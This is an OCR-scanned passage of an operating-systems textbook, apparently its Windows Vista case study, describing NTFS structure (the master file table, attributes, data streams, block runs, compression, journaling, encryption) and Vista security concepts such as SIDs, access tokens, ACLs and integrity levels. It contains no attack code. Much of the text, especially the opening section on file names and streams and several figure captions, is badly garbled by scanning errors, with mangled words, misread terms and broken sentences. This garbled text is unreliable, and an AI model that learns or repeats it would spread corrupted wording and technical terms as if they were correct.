Iml�ed to. 255 characters; full paths are , ' . 1 e names are In Umcode 11 ' . tnes not using the Latin alphabet (e G J 

, �  owmg
. people 10 COunwrite file names in their native Ian 

.g
��o-:

e
�

e, apan, India, R�ssla, and Israel) to 
file name. NTFS full 

g � .. . or example, <PlAt IS a perfectly legal 
and FOO). The Win3Y2

SU
APpPj

O
d
rts case-SenSitIVe names (s% o is different from Foa oes not fully support cas - - -

and not at all fo d· e-SensltIVIty for file names r lrectory names. The support fo . . . . 
running the POSIX b ·  

. � case-senSitIvity eXIsts when 
Win32 . 

s� .system 10 order to mamtam compatibility with UNIX IS not case-SenSItIve, but it is case- . . 
ferent case letters in them T 0-

pre��r�m�, so file names can have dif
liar to users of UNIX it 's 

i h
7
U
�
h case-S�nSltIVIty IS a feature that is very fami

such distinctions no�a�l 
arge Y mconvelllent to ordin� USers who do not make 

today. 
y. For example, the Internet IS largely case-insensitive 

An NTFS file is not just a linear sequence f b are. Instead, a file consists of mUltiple attribut�s :����: F
�
T
�
3.2 and UNIX files 

a stream of bytes. Most files have a fe h '  
w IC IS repre�ented by 

file and its 64-bit object ID plus I 
w 

(
s art streams, such as the name of the 

ever, a file can also have t�o or 
on

� 
o
�
g unnamed) stream with the data. How

has a name consistino- of the 
fi1 m re ( ong) data streams as well. Each stream 

/OO:streaml Each str:am has ·t 
e na�e, a c?lon, and the stream name, as in 

other stream·s Th ·d f 
1 � Own SIze a�d IS lockable independently of all the 

system on the' App�: �:c�n:��t�::s s::
ns In a file is. not new in NTFS, The file 

SOUrce fork. The first use of mult- I 
strea

�
s per hIe, the data fork and the re-Ip e streams lor NTFS was t II NT -server to serve Macintosh clients M it· I d 

a a ow an file 
metadata about files such as the 

� 1Pb e .�ta .streams are also used to represent 
available in the Windows Gill B t 

urn nat plc�ures of JPEG images that are 
frequently fall off of files wh�n 

� alas, the multIple data streams are fragile and 
sported over the network Or even 

e�h�e 
:
an
�
p
�
rted to other file systems, tran

many utilities ignore them� 
n ac e up and later restored, because 

NTFS is a hierarchical file system, similar to the UNIX file separator between component names is "\" h . system. The 
ited. from the compatibility requirements v:.it��;� ���:a��

f r:�s a fossil inher
UnlIke UNIX the concept of the current workin ' . _ - . was created. 
rent directory (.) and the parent directo ( )  

� dl
�
ect�ry, hard links to the cur

er than as a fundamental part f th fil
ry .. are lm� emented as conventions rath

but only used for the POSIX 
°
b 

e 1 e sy�tem deSIgn. Hard links are Supported, 
on directories (the 

'
x
' 
p 

. S? s�stem, as IS NTFS support for traversal checking ermlSSlon m UNIX). 



904 CASE STUDY 2: WINDOWS VISTA CHAP. I I  

Symbolic links in NTFS were not supported until Windows. 
Vista . . Cr�ation 

of symbolic links is normally restricted to administrators to aVOId s�cunty lSSU�S 
like spoofing, as UNIX experienced when symbolic links were first mtroduced III 
4.2BSD. The implementation of symbolic links in Vista uses an NTFS fea�ure 
called reparse points (discussed later in this section). In addition, compressiOn, 
encryption, fault tolerance, journaling, and sparse files are also supported. These 
features and their implementations will be discussed shordy. 

11.8.2 Implementation of the NT File System 

NTFS is a highly complex and sophisticated file system that was developed 
specifically for NT as an alternative to the HPFS file system that had .been. de
veloped for OS12. While most of NT was designed on dry lan�, NT�� IS Ufil�ue 
among the components of the operating system in that muc� of Its �ngmai deSIgn 
took place aboard a sailboat out on the Puget Sound (fono�mg a s�nct protocol of 
work in the morning, beer in the afternoon). Below we WIll examme a number of 
features of NTFS, starting with its structure, then moving on to file name lookup, 
file compression, journaling, and file encryption. 

File System Structure 

Each NTFS volume (e.g., disk partition) contains files, directories, bitmaps, 
and other data structures. Each volume is organized as a linear sequence of 
blocks (clusters in Microsoft's terminology), with the block size being fixed .for 
each volume and ranging from 512 bytes to 64 KB, depending on the volume SIze. 
Most NTFS disks use 4-KB blocks as a compromise between large blocks (for ef
ficient transfers) and small blocks (for low internal fragmentation). Blocks are 
referred to by their offset from the start of the volume using 64-bit num�ers. 

The main data structure in each volume is the MFT (Master FIle Table), 
which is a linear sequence of fixed-size l-KB records. Each MFT rec?rd des
cribes one file or one directory. It contains the file's attributes, such as ItS name 
and timestamps, and the list of disk addresses where its blocks are located. If a 
file is extremely large, it is sometimes necessary to use two or more MFT records 
to contain the list of all the blocks, in which case the first MFT record, called the 
base record, points to the other MFf records. This overflow s�heme dates back 
to CP/M, where each directory entry was called an extent. A bItmap keeps track 
of which MIT entries are free. 

The MFT is itself a file and as such can be placed anywhere within the vol
ume thus eliminating the problem with defective sectors in the first track. Fur
ther:nore, the file can grow as needed, up to a maximum size of 248 records. 

The MIT is shown in Fig. 1 1-41. Each MIT record consists of a se�uence
. 
of 

(attribute header, value) pairs. Each attribute begins with a header tellmg �hlCh 
attribute this is and how long the value is. Some attribute values are vanable 
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length, such as the file name and the data. If the attribute value is short enouO"h to fit in the MFT record, it is placed there. This is called an immediate file d�1ullender and Tanenbaum, 1984). If it is too long, it is placed elsewhere on the disk and a pointer to it is placed in the MIT record. This makes NTFS vmy efficient for small fields, that is, those that can fit within the MFf record itself. The first 16 MFT-records are reserved for NTFS metadata files, as illustrated in Fig. 1 1-4 L Each of the records describes a normal file that has attributes and data blocks, just like any other file. Each of these files has a name that beO"ins with a dollar sign to indicate that it is a metadata file. The first record describes the MFT file itself. In particular, it tells where the blocks of the MIT file are located so that the system can find the MIT file� Clearly> Windows needs a way to find the first block of the MFT file in order to find the rest of the file system information. The way it finds the first block of the MFT file is to look in the boot block, where its address is installed when the volume is fonnatted with the file system. 

16  
15 
14 
13 
12  
1 1  
10 
9 
8 
7 
6 
5 
4 
3 
2 
1 
o 

1 K8 , I 

Metadata flies 

Figure 11-41. The NTFS master file table. 

Record 1 is a duplicate of the early part of the MIT file. This information is 
so precious that having a second copy can be critical in the event one of the first 
blocks of the MFT ever goes bad. Record 2 is the log file. When structural chan
ges are made to the file system, such as adding a new directory or removing an 
existing one, the action is logged here before it is performed, in order to increase 
the chance of correct recovery in the event of a failure during the operation, such 
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as a system crash. Changes to file attributes are also logged here. I n  fact, the on

ly changes not logged here are changes to user data. Record 3 contains infor

mation about the volume, such as its size, label, and version. 

As mentioned above, each MFT record contains a sequence of (attribute head

er, value) pairs. The $AttrDeJfile is where the attributes are defined. Information 

about this file is in MFf record 4. Next comes the root directory, which itself is a 

file and can grow to arbitrary length. It is described by MFf record 5. 

Free space on the volume is kept track of with a bitmap. The bitmap is itself a 

file, and its attributes and disk addresses are given in MFT record 6. The next 

MFf record points to the bootstrap loader file. Record 8 is used to link all the bad 

blocks together to make sure they never occur in a file. Record 9 contains the se

curity information. Record 10  is used for case mapping. For the Latin letters A-Z 

case mapping is obvious (at least for peopls who speak Latin). Case mapping for 

other languages, such as Greek, Armenian, or Georgian (the country, not the 

state), is less obvious to Latin speakers, so this file tells how to do it. Finally, 

record 1 1  is a directory containing miscellaneous files for things like disk quotas, 

object identifiers, reparse points, and so on. The last four MFT records are re

served for future use. 
Each MFT record consists of a record header followed by the (attribute head

er, value) pairs. The record header contains a magic number used for validity 

checking, a sequence number updated each time the record is reused for a new 

file, a count of references to the file, the actual number of bytes in the record 

used, the identifier (index, sequence number) of the base record (used only for ex

tension records), and some other miscellaneous fields. 
NTFS defines 13 attributes that can appear in MFT records. These are listed 

in Fig. 1 1-42. Each attribute header identifies the attribute and gives the length 

and location of the value field along with a variety of flags and other information. 

Usually, attribute values follow their attribute headers directly, but if a value is 

too long to fit in the MIT record, it may be put in separate disk blocks. Such an 

attribute is said to be a nonresident attribute. The data attribute is an obvious 

candidate. Some attributes, such as the name, may be repeated, but all attributes 

must appear in a fixed order in the MIT record. The headers for resident attrib

utes are 24 bytes long; those for nonresident attributes are longer because they 

contain information about where to find the attribute on disk. 

The standard information field contains the file owner, security information, 

the timestamps needed by POSIX, the hard link count, the read-only and archive 

bits, and so on. It is a fixed-length field and is always present. The file name is a 

variable-length Unicode string. In order to make files with non-MS-DOS names 

accessible to old 16-bit programs, files can also have an 8 + 3 MS-DOS short 

name. If the actual file name conforms to the MS-DOS 8 + 3 naming rule, a sec

ondary MS-DOS name is not needed. 
In NT 4.0, security information was put in an attribute, but in Windows 2000 

and later, security information all goes into a single file so that multiple files can 
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Attribute Description 

Standard information Flag bits, timestamps, etc. 

File name File name in UniCOde; may be repeated for MS-DOS name 

Security descriptor Obsolete. Security information is now in $Extend$Secure 

Attribute list Location of additional MFT records, if needed 

Object !o 64-bit file identifier unique to this volume 

Reparse point Used for mounting and symbolic links 

Volume name Name of this volume (used only in $Volume) 

Volume information Volume version (used only in $Volume) 

Index root Used for directories 

Index allocation Used for very large directories 

Bitmap Used for very large directories 

Logged utility stream Controls logging to $LogFi!e 

Data Stream data; may be repeated 

Figure 11-42. The attributes used in MFf records. 

s�ar� the same security descriptions. This results in significant savings in space 
WIthin most MFI' records and in the file system overall because the security info 
for so many of the files owned by each user are identical. 

. The �ttribute list is needed in case the attributes do not fit in the MFT record. 
ThIS �ttnbute t�e� tells :-vhere to find the extension records. Each entry in the list 
cont�ms a 48-blt mdex mto the MFI' telling where the extension record is and a 
16-blt sequence number to allow verification that the extension record and base 
records match up. 

NTF� files have an ID associated with them that is like the i-node number in 
UNIX. FIles can be opened by �I?' but the ID's assigned by NTFS are not always 
useful when

. 
the 10 must be persisted because it is based on the MFT record and 

can change If the record for the file moves (e.g., if the file is restored from back
up). NTFS allows a separate object ID attribute which can be set on a file and 
never needs to change. It can be kept with the file if it is copied to a new volume 
for example. ' 

'!he rep.arse poin� tell� the procedure parsing the file name to do something 
spe�lal: ThIS mechamsm IS used for explicitly mounting file systems and for sym
bolic lmks. The t:vo volume attributes are only used for_ volume identification. 
The.next. three attnbutes deal with how directories are implemented. Small ones 
ar� .Just ltsts of files but large ones are implemented usino- B+ trees The logged 
utIht� stream attribute is used by the encrypting file systed;. 

. 

Fmally,. we come to the attribute that is the- most important of all: the data 
stream (or m some cases, streams). An NTFS file has one or more data streams 
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" ed "th "t Thl"S lOS where the payload is. The default data stream is un-aSSQClat WI 1 _  
named (i.e., dirpath\filename::$DATA), but the alternate data streams each 
have a name, for example, dirpath\fiiename:streamname:�DA!A. 

. F h tr am the stream name, if present, goes III thIS attnbute header. or eac s e , . ' bl k h Following the header is either a list of disk addresses tellmg whIch OC'$ t e 
stream contains, or for streams of only a few hundred by�es (and there are �any of 
these) the stream itself. putting the actual stream data In the MFf record IS call
ed ao immediate file (Mullender and Tanenbaum, 198�). . 

Of course, most of the _ time the data does not fit m the MFf record, so thIS 
attribute is usually nonresident. �et us �ow ta�e a look at how NTFS keeps track 
of the location of nonresident attnbutes, m partIcular data. 

Storage Allocation 

The model for keeping track of disk blocks is that they are assigned in r�ns of 
consecutive blocks, where possible, for efficiency reasons. �or example, If the 
first logical block of a stream is placed in blo�k 20 on the dISk, .then t�e system 
will try hard to place the second logical block m block 21, the �hll·d logIcal block 
in 22, and so on. One way to achieve these runs is to allocate dISk storage several 
blocks at a time when possible. 

The blocks
' 
in a stream are described by a sequence of record�, each one 

describing a sequence of logically contiguous blocks. For a st�eam .wIth 
d
no h

f
oles 

" "t th w"ll be only one such record. Streams that are wntten In or er rom 10 I ,  ere 1 ·th h I · ·  ( beginning to end all belong in this category. For a stream WI one 0 e m it e.g., 
only blocks 0-49 and blocks 60-79 are defined), there wiII be two :ecords. Such 
a stream could be produced by writing the first 50 blocks, then. seek10g forward to 
logical block 60 and writing ano.

ther 20 blocks. When a hole IS read back, all the 
missing bytes are zeroS. Files WIth holes are called sparse files. . . 

Each record begins with a header giving the offset of the first block withm the 
stream. Next comes the offset of the first block not covered by the record. In �he 
example above, the first record would have a header of (0, 50) and would provIde 
the disk addresses for these 50 blocks. The second one would have a header of 
(60,80) and would provide the disk addresses for these �O blocks. . . . 

Each record header is followed by one or more patrs, each glvmg a dIsk ad-
d d un lencrth The disk address is the offset of the disk block from the start ress an r to ·  • . 
of its partition; the run length is the number �f blocks In the run. As man� prurs as 
needed can be in the run record. Use of thIS scheme for a three-run, mne-block 
stream is illustrated in Fig. 1 1-43. . 

In this figure we have an MFf record for a short stream of mne ?locks (head-
er 0-8). It consists of the three runs of consecutive blocks o� th� dISk. The first 
run is blocks 20-23, the second is blocks 64-65, and the thIrd IS blocks 80-82. 
Each of these runs is recorded in the MFT record as a (disk address, block count) 
pair. How many runs there are depends on how well the disk block allocator did 
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Standard File name Data � Info about data blocks --+ info header 

Record 
header 

Standard I I  File "ame I I  MTF info 
record ___ lL __ --1L�_I_�__J:_�+.....:.-

, ' , , ' , ' 
: ,  : :  i 

Disk blocks trrIj 'tel tIJj 
� '-y- '--y---' 

Blocks numbers 20-23 64-65 80·82 

Figure 11-43. An MIT record for a three-run. nine-block stream. 
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in finding runs of consecutive blocks when the stream was created. For an nblock stream, the number of runs can be anything from 1 through n. 
Several comments are worth making here. First, there is no upper limit to the size of streams that can be represented this way. In the absence of address compression, each pair requires two 64-bit numbers in the pair for a total of 16 bytes. However, a pair could represent 1 million or more consecutive disk blocks. In fact, a 20 ME stream consisting of 20 separate runs of 1 million 1-KE blocks each fits easily in one MFT record, whereas a 60-KE stream scattered into 60 isolated blocks does not. 
Second, while the straightforward way of representing each pair takes 2 x 8 bytes, a compression method is available to reduce the size of the pairs below 16. Many disk addresses have multiple high-order zero-bytes. These can be omitted. The data header tells how many are omitted, that is, how many bytes are actually used per address. Other kinds of compression are also used. In practice, the pairs are often only 4 bytes. 
Our first example was easy: all the file information fit in one MFT record. What happens if the file is so large or highly fragmented that the block information does not fit in one MIT record? The answer is simple: use two or more MFT records. In Fig. 1 1-44 we see a file whose base record is in MFf record 102. It has too many runs for one MFI' record, so it computes how many extension records it needs, say, two, and puts their indices in the base record. The rest of the record is used for the first k data runs. 
Note that Fig. 1 1-44 contains some redundancy. In theory, it should not be necessary to specify the end of a sequence of runs because this information can be calculated from the run pairs. The reason for "overspecifying" this information is to make seeking more efficient: to find the block at a given file offset, it is only necessary to examine the record headers, not the run pairs. 
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109 
107 

Runn --+--- Second extension record 

106 
105 
104 
103 
102 
101 
100 

Run #k+1 Run m -+-- First extension record 

MFT 105 MFT 108 Run #1 . . Run #k Base record 

Figure 11·44. A file that requires three MFT records to store all its runs. 
When all the space in record 102 bas been used up, storage of the runs contin

ues with MFT record 105. As many runs are packed in this record as fit When 
this record is also full, the rest of the runs go in MFf record 108. In this way 
many MFf records can be used to handle large fragmented files. 

A problem arises if so many MFT records are needed that there is no room in 
the base MFT to list all their indices. There is also a solution to this problem: the 
list of extension MFT records is made nonresident (i.e., stored in other disk blocks 
instead of in the base MFf record). Then it can grow as large as needed. 

An MFf entry for a small directory is shown in Fig. l lAS. The record con
tains a number of directory entries, each of which describes One file or directory. 
Each entry has a fixed-length structure followed by a variable-length file name. 
The fixed part contains the index of the MFf entry for the file, the length of the 
file name, and a variety of other fields and flags. Looking for an entry in a direc
tory consists of examining all the file names in turn. 

A directory entry contains the MFT index for the file, 

Standard Index root the length of the hIe name, the file name Itself, 

mfo header header and vanous fields and flags 

�:���� \ \ L 
1ISt���

acd
ll l l l l l l l l  ,. 

Figure 11-45. The MFr record for a small directory. 

Large directories use a different fonnat. Instead of listing the files linearly, a 
B+ tree is used to make alphabetical lookup possible and to make it easy to insert 
new names in the directory in the proper place. 

We now have enough information to finish describing how file name lookup 
occurs for a file \ ??\C: \foo\bar. In Fig. 1 1-22 we saw how the Win32, the 
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native �T system calls, and the object and 1/0 managers cooperated to open a file 
by sendmg an I/O request to the NTFS device stack for the C: volume. The I/O re
que�t asks NTFS to �ill in a fjle object for the remaining pathname, \foo\bar. 

[he NTPS parsIng of the path \foo\bar begins at the root directory for C:, 
whose blocks can be found from entry 5 in the MFf (see Fig. 1 1-41). The strin<r 
"foo" is looked up in the root directory, which returns the index into the MIT fo� 
the directory foo. This directory is then searched for the strin<r "bar" which 
refers. to the MFT :ecord for this file. NTFS performs access chl:>ecks by' caJling 
back Into the secunty reference monitor, and if everything is cool it searches the 
MIT record for the attribute ::$DATA, which is the default data stream. 

Having found file bar NTFS will set pointers to its own metadata in the file 
object passed down from the I/O manager. The metadata includes a pointer to the 
MIT record, information abom compression and range locks, various details 
about sharing, and so on. Most of this metadata is in data structures shared across 
all file objects refening to the file. A few fields are specific only to the current 
open, such as whether the file should be deleted when it is closed. Once the open 
has succeeded, NTFS calls 10CompieteRequest to pass the IRP back up the I/O 
�tack to the I/O and object managers. Ultimately a handle for the file object is put 
In the handle table for the current process, and control is passed back to user 
��de. On sUbsequent ReadFile calls, an application can provide the handle, spec
Ifymg that this file object for C: \foo \bar should be included in the read request 
that gets passed down the C: device stack to NTFS. 

In addition to regular files and directories, NTFS supports hard links in the 
UNIX sense, and also symbolic links using a mechanism called reparse points. 
NTFS supports tagging a file or directory as a reparse point and associating a 
block of data with it. When the file or directory is encountered during a file name 
parse, the operation fails and the block of data is returned to the object mana<rer. 
The object manager can interpret the data as representing an alternative pathn:me 
and then update the string to parse and retry the I/O operation. This mechanism is 
used to suP�Ort both symbolic links and mounted file systems, redirecting the 
search to a different part of the directory hierarchy or even to a different partition. 

Reparse points are also used to tag individual files for file system filter driv
ers. In Fig. 1 1-22 we showed how file system filters can be installed between the 
I/O manager and the file system. I/O requests are completed by calling loCom
pleteRequest, which passes control to the completion routines each driver repres¥ 
en.ted in the device stack inserted into the IRP as the request was being made. A 
dnver that wants to tag a file associates a reparse tag and then watches for com
pletion requests for file open operations that failed because they encountered a 
reparse point. From the block of data that is passed back with the IRP, the driver 
can ten if this is a block of data that the driver itself has associated with the file. 
If .s� the driver will stop processing the completion and continue processina.Je 
ongmal I/O request Generally, this will involve proceeding with the openre�t, 
but there is a flag that tells NTFS to ignore the reparse point and open the file. 
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File Compression 

NTFS su orts transparent file compression. A file can be created in com-
d d PP h' ch means that NTFS automatically tries to compress the blocks presse mo e, W 1 

h he they are as the are written to disk and automatically uncompresses t em w n 
d b

Y
ack Processes that read or write compressed files are completely unaware rea . .

' 0-of the fact that compression and decompressIOn are gome> on .
. 

C 
. orks as follows When NTFS writes a file marked for comompresslOll W . 

. fil ' f of . t d' k it examines the first 16 (logical) blocks III the 1 e, lrrespec we preSSIOn 0 IS , . 1 . th on them If how man runS they occupy. It then runs a compressIOn a gon m . 

th SUltrng data can be stored in 15 or fewer blocks, the compressed data a�e 

w�t�=n to the disk, preferably in one run, if possible. If the compressed data still 

take 16 blocks, the 16 blocks are written 1fl uncompressed form_ Then blocks 
16-31 are examined to see if they can be compressed to 15 blocks or fewer, and 

so o�i 
ure 1 1-46(a) showS a file in which the first 16 blocks have successfu�ly g 

d to e1-o-ht blocks the second 16 blocks failed to compress, and the thud compresse 0 ' 
h b -tten as 16 blocks have also compressed by 50%. The three p�s ave een wn

. h d ·  the MFf record The "missin<r blocks are stored 1fl t e three runs and store III . 0 
h h d (0 48) MFf entry with disk address 0 as shown in Fig_ 1 1-46(b). Here t e ea er , 

is followed by five pairs, two for the first (compressed) run, one for the 
uncompressed run, and two for the final (compressed) run. 

Ongina! uncompressed file 

I '6 • Q tl l l l l l ! I ! I ! I ! I ! I I I I I ! I ! I I I I ! I I I I.!I I I I I I I I I I I I I.'1  - -', 7 - - :8 23 -'-',,24 31---
'. (comp .. "ed I 1 1 1 11�+�H'��d I I I I I I Comp,e"ed I . - 55 85 92 Disk addr 30 37 40 

Standard I I  File n"me info 

lal 
Header Five runs (of which two empties) 
� � � � � �  

Ibl 

Figure 11-46. (a) An example of a 48-block fi
.
le being compressed to 32 blocks_ 

(b) The MFT record for the file after compression. 

When the file is read back, NTFS has to know which runs are �ompressed and 
which ones are not It can tell based on the disk addresses. A dISk address of 0 

1 
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indicates that it is the final part of 16 compressed blocks. Disk block 0 may not 
be used for storing data, to avoid ambiguity. Since block 0 on the volume con
tains the boot sector, using it for data is impossible anyway. 

Random access to compressed files is possible, but tricky. Suppose that a 
process does a seek to block 35 in Fig_ 1 1-46. How does NTFS locate block 35 in 
a compressed file? The answer is that it has to read and decompress the entire run 
first. Then it knows where block 35 is and can pass it to any process that reads it 
The choice of 1 6  blocks for the compression unit was a compromise. Making it 
shorter would have made the compression less effective. Making it longer would 
have made random access more expensive. 

Jonrnaling 

NTFS supports two mechanisms for programs to detect changes to files and 
directories on a volume. The first mechanism is an I/O operation that is called 
NtNotifyChangeDirectoryFile that passes a buffer to the system, which returns 
when a change is detected to a directory or directory sub-tree. The result of the 
I/O is that the buffer has been filled with a list of change records. With luck, the 
buffer is large enough. Otherwise the records which did not fit are lost. 

The second mechanism is the NTFS change journal. NTFS keeps a tist of all 
the change records for directories and files on the volume in a special file, which 
programs can read using special file system control operations, that is, the 
FSCTLQUERLUSNJOURNAL option to the NtFsControlFile API. The journal 
file is normally very large, and there is little likelihood that entries will be reused 
before they can be examined. 

File Encryption 

Computers are used nowadays to store all kinds of sensitive data, including 
plans for corporate takeovers, tax information, and love letters, which the owners 
do not especially want revealed to anyone. Information loss can happen when a 
notebook computer is lost or stolen, a desktop system is rebooted using an MS
DOS floppy disk to bypass Windows security. or a hard disk is physically removed 
from one computer and installed on another one with an insecure operating sys
tem. 

Windows addresses these problems by providing an option to encrypt files, so 
that even in the event the computer is stolen or rebooted using MS-DOS, the files 
will be unreadable. The normal way to use Windows encryption is to mark cer
tain directories as encrypted, which causes all the files in them to be encrypted, 
and new files moved to them or created in them to be encrypted as welL The ac
tual encryption and decryption are not managed by NTFS itself, but by a driver 
called EFS (Encryption File System), which registers callbacks with NTFS. 
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11.9 SECURITY IN WINDOWS VISTA 
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L Secure login with anti-spoofing measures. 

2. Discretionary access controls. 

3. Privileged access controls. 

4. Address space protection per process. 

5. New pages must be zeroed before being mapped in. 

6. Security auditing. 

Let us review these items briefly 
d . . trator can require all users to have 

Secure login means that the system � rn��� a malicious user writes a program 
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that displays the login prompt or scr�en .an en
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The name and password are then wntten a I . . to hit CTRL-. thO attack by mstructmg users 
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e �nuine login screen. 
er, which then invokes a system �rogr�m that ��t�ot user gprocesses to disable �is procedure works because t ere IS no w. But NT can and does disable 

.CTRL-ALT-DEL processing in the keybo�rd dnver. . cases. This idea 
use of the CTRL-ALT -DEL secure attentton sequence m some 
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came from Windows XP and Windows 2000, which used in order to have more 
compatibility for userS switching from Windows 98. 

Discretionary access controls allow the owner of a file or other object to say 
who can use it and in what way. Privileged access controls allow the system 
administrator (superuser) to override them when needed. Address space protec
tion simply means that each process has its own protected virtual address space 
not accessible by any unauthorized process. The next item means that when the 
process heap grows, the pages mapped in are initialized to zero so that processes 
cannot find any old information put there by the previous owner (hence the zeroed 
page list in Fig. 1 1 -36, which provides a supply of zeroed pages for this purpose). 
Finally, secUllty auditing allows the administrator to produce a log of certain se
curity-related events. 

While the Orange Book does not specify what is to happen when someone 
steals your notebook computer, in large organizations one theft a week is not 
unusual. Consequently, Windows Vista provides tools that a conscientious user 
can use to minimize the damage when a notebook is stolen or lost (e.g., secure 
login, encrypted files, etc.). Of course, conscientious users are precisely the ones 
who do not lose their notebooks-it is the others who cause the trouble. 

In the next section we wiJI describe the basic concepts behind Windows Vista 
security. After that we will look at the security system calls. Finally, we will 
conclude by seeing how security is implemented. • 

11.9.1 Fundamental Concepts 

Every Windows Vista user (and group) is identified by an SID (Security ID). 
SIDs are binary numbers with a short header followed by a long random com� 
ponent. Each SID is intended to be unique worldwide. When a user starts up a 
process, the process and its threads run under the user's SID. Most of the security 
system is designed to make sure that each object can be accessed only by threads 
with authorized SIDs. 

Each process has an access token that specifies an SID and other properties. 
The token is normally created by winlogon, as described below. The format of the 
token is shown in Fig. 1 1-47. Processes can can GetTokenlnforrnation to acquire 
this information. The header contains some administrative information. The 
expiration time field could tell when the token ceases to be valid, but it is cur
rently not used. The Groups field specifies the groups to which the process 
belongs, which is needed for the POSIX subsystem. The default DACL (Discre
tionary ACL) is the access control list assigned to objects created by the process 
if no other ACL is specified. The user SID tells who owns the process. The res
tricted SIDs are to allow untrustworthy processes to take part in jobs with 
trustworthy processes but with less power to do damage. 

Finally, the privileges listed, if any, give the process special powers denied 
ordinary users, such as the right to shut the machine down or access files to which 
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would otherwise be denied. In effect, the privileges split up the power of access . d" d 11 I the superuser into several rights that can be assigned to processes �n IVl ua y. n 
this way, a user can be given some superuser power; but not all of It. In summary, 
the access token tells who owns the process and WhICh defaults and powers are as-
sociated with it. 

Figure 11·47. Structure of an access token. 

When a user logs in, winlogon g�ves the initial process an access token. Sub
sequent processes normally inherit this t,oken on down the line. A process' access 
token initially applies to all the threads In the process. However, a thread can ac
quire a different access token during execution, in ,which cas� the thread's access 
token overrides the process' access token. In partIcular, a chent thread can pass 
its access rights to a server thread to allow the server t

.
o access the

. 
clienr� p�ote�t

ed files and other objects. This mechanism is called l�personatlOn. t IS Imp e
mented by the transport layers (i.e., ALPC, named pIpes, and TC�!IP), uS:d by 
RPC to communicate from clients to servers. The transports use mternal mt�r
faces in the kernel's security reference monitor component to extract

. 
the secunt� 

text for the current thread's access token and ship it to the server SIde, where It - . h is used to construct a token which can be used by the server to Impersonate t e 
client. . . 

Another basic concept is the security descriptor. Every object has a secunty 
descriptor associated with it that

. 
tells who can per.form which operations on it. 

The security descriptors are speCIfied when the objects are create? The �TFS 
file system and the registry maintain a

. 
persisten� form of sec�nty descnp�or, 

which is used to create the security descnptor for FIle and Key objects (the object 
manaO'er objects representing open instances of files and keys). . A security descriptor consists of a header followed by a DACL wIth one or 
more ACEs (Access Control Entries). The two main kin?s of elements. are 
Allow and Deny. An allow element specifies an SID and a bItmap that speCIfies 
which operations processes that SID may perform on the object. A deny element 
works the same way, except a match means the caller may not perform the opera
tion. For example, Ida has a file whose secmity descrip�or specifies that everyone 
has read access, Elvis has no access. Cathy has read/wnte access, and Ida herself 
has full access. This simple example is illustrated in Fig. 1 1-48. The SID Every
one refers to the set of all users, but it is overridden by any explicit ACEs that fol-
low. 

S In addition to the DACL, a security descriptor also has a SACL ( ystem 
Access Control Jist), which is like a DACL except that it specifies not who may 
use the object, but which operations on the object are recorded in the system-wide 
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Security 

File 
Security 

Figure 11·48. An example security descriptor for a file. 

security event log. In Fig. 1 1-48, every operation that Marilyn performs on the 
file will be logged. The SACL also contains the integrity level, which we will 
describe shortly. 

11.9.2 Security API Calls 

Most of the Windows Vista access control mechanism is based on security descriptors. The usual pattern is that when a process creates an object, it provides a security descriptor as one of the parameters to the CreateProcess, CreateFile, or other object creation call. This security descriptor then becomes the security descriptor attached to the object, as we saw in Fig. 1 1-48. If no security descriptor is provided in the object creation call, the default security in the caller's access token (see Fig. 1 1-47) is used instead. 
Many of the Win32 API security calls relate to the management of security descriptors, so we will focus on those here. The most important calls are listed in Fig. 1 1 -49. To create a security descriptor, storage for it is first allocated and then initialized using InitializeSecurityDescYiptor. This call fills in the header. If the owner SID is not known, it can be looked up by name using·LookupAccountSid. It can then be inserted into the security descriptor. The same holds for the group SID, if any. Normally, these will be the caller's own SID and one of the caller's groups, but the system administrator can fill in any SIDs. 

. 
At

,
t�i� point the security descriptor'S DIlCL [Or MCL} van �v inIlW!uv� wIth /mtla/lzeAc/, ACL enlries can De add d ' A '. e USing !lddAccessAllowedAc�, and 
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Win32 API function Description 

InitializeSecurityDescriptor Prepare a new security descriptor for use 

Look up the SID for a given user name 
LookupAccountSid 

SetSecurityDescriptorOwner Enter the owner SID in the security descriptor 

SetSecurityDescriptorGroup Enter a group SID in the security descriptor 

InitializeAcl Initialize a DACl or SACL 

AddAccessAllowedAce Add a new ACE to a DACL or SACL allowing access 

AddAccessDeniedAce Add a new ACE to a DACL or SACL denying access 

DeleteAce Remove an ACE from a OACL or SACL 

SetSecurityDescriptorDad Attach a DACL to a security descriptor 

Figure 11.49. The principal Win32 API functions for security. 

AddAccessDeniedAce. These calls can be repeated multiple times to add as ma�y 

ACE " are needed DeleteAce can be used to remove an entry, that IS, 
entrIes as ' . ACL 

when modif ing an existing ACL rather than when constructmg a nev: . 
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rf tho heck by looking at the caller's access token and the DA aSSOCI-

pe 
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. . 
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DACLs can have Deny entries as well as Allow entnes, as we hav.e seen. �or 

h' 't is usual to put entries denying acce4llrtfront of entnes grantmg 
t lS�� 
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access in the ACL, so that a user who is specifically denied access cannot get in 
via a back door by being a member of a group that has legitimate access. 

After an object has been opened, a handle to it is returned to the caller. On 
subsequent calls, the only check that is made is whether the operation now being 
tried was in the set of operations requested at open time, to prevent a caller from 
opening a file for reading and then trying to write on it. Additionally, calls on 
handles may result in entries in the audit logs, as required by the SACL. 

WindOWS Vista added another security facility to deal with common problems 
securing the system by ACLs. There are new mandatory Integrity-level SIDs in 
the process token, and objects specify an integrity-level ACE in the SACL. The 
integrity level prevents write-access to objects no matter what ACEs are in the 
DACL. In particular the integrity-level scheme is used to protect against an Inter
net Explorer process that has been compromised by an attacker (perhaps the user 
ill-advisedly downloading code from an unknown Website). Low-rights IE, as it 
is called, runs with an integrity level set to low. By default all files and registry 
keys in the system have an integrity level of medium, so IE running with low
integrity level cannot modify them. 

A number of other security features have been added to Windows in recent 
years. For service pack 2 of Windows XP, much of the system was compiled with 
a flag (lGS) that did validation against many kinds of stack buffer overflow�. Ad
ditionally a facility in the AMD64 architecture, called NX, was used to limit ex
ecution of code on stacks. The NX bit in the processor is available even when 
running in x86 mode. NX stands for no execute and allows pages to be marked so 
that code cannot be executed from them. Thus if an attacker uses a buffer over
flow vulnerability to insert code into a process, it is not so easy to jump to the 
code and start executing it. 

Windows Vista introduced even more security features to foil attackers. Code 
loaded into kernel mode is checked (by default on x64 systems) and only loaded if 
it is properly signed .. The addresses that DLLs and EXEs are loaded at, as well as 
stack allocations, are shuffled quite a bit on each system to make it less likely that 
an attacker can successfuIIy use buffer overflows to branch into a well-known ad
dress and begin executing sequences of code that can be weaved into an elevation 
of privilege. A much smaner fraction of systems will be able to be attacked by 
relying on binaries being at standard addresses. Systems are far more likely to just 
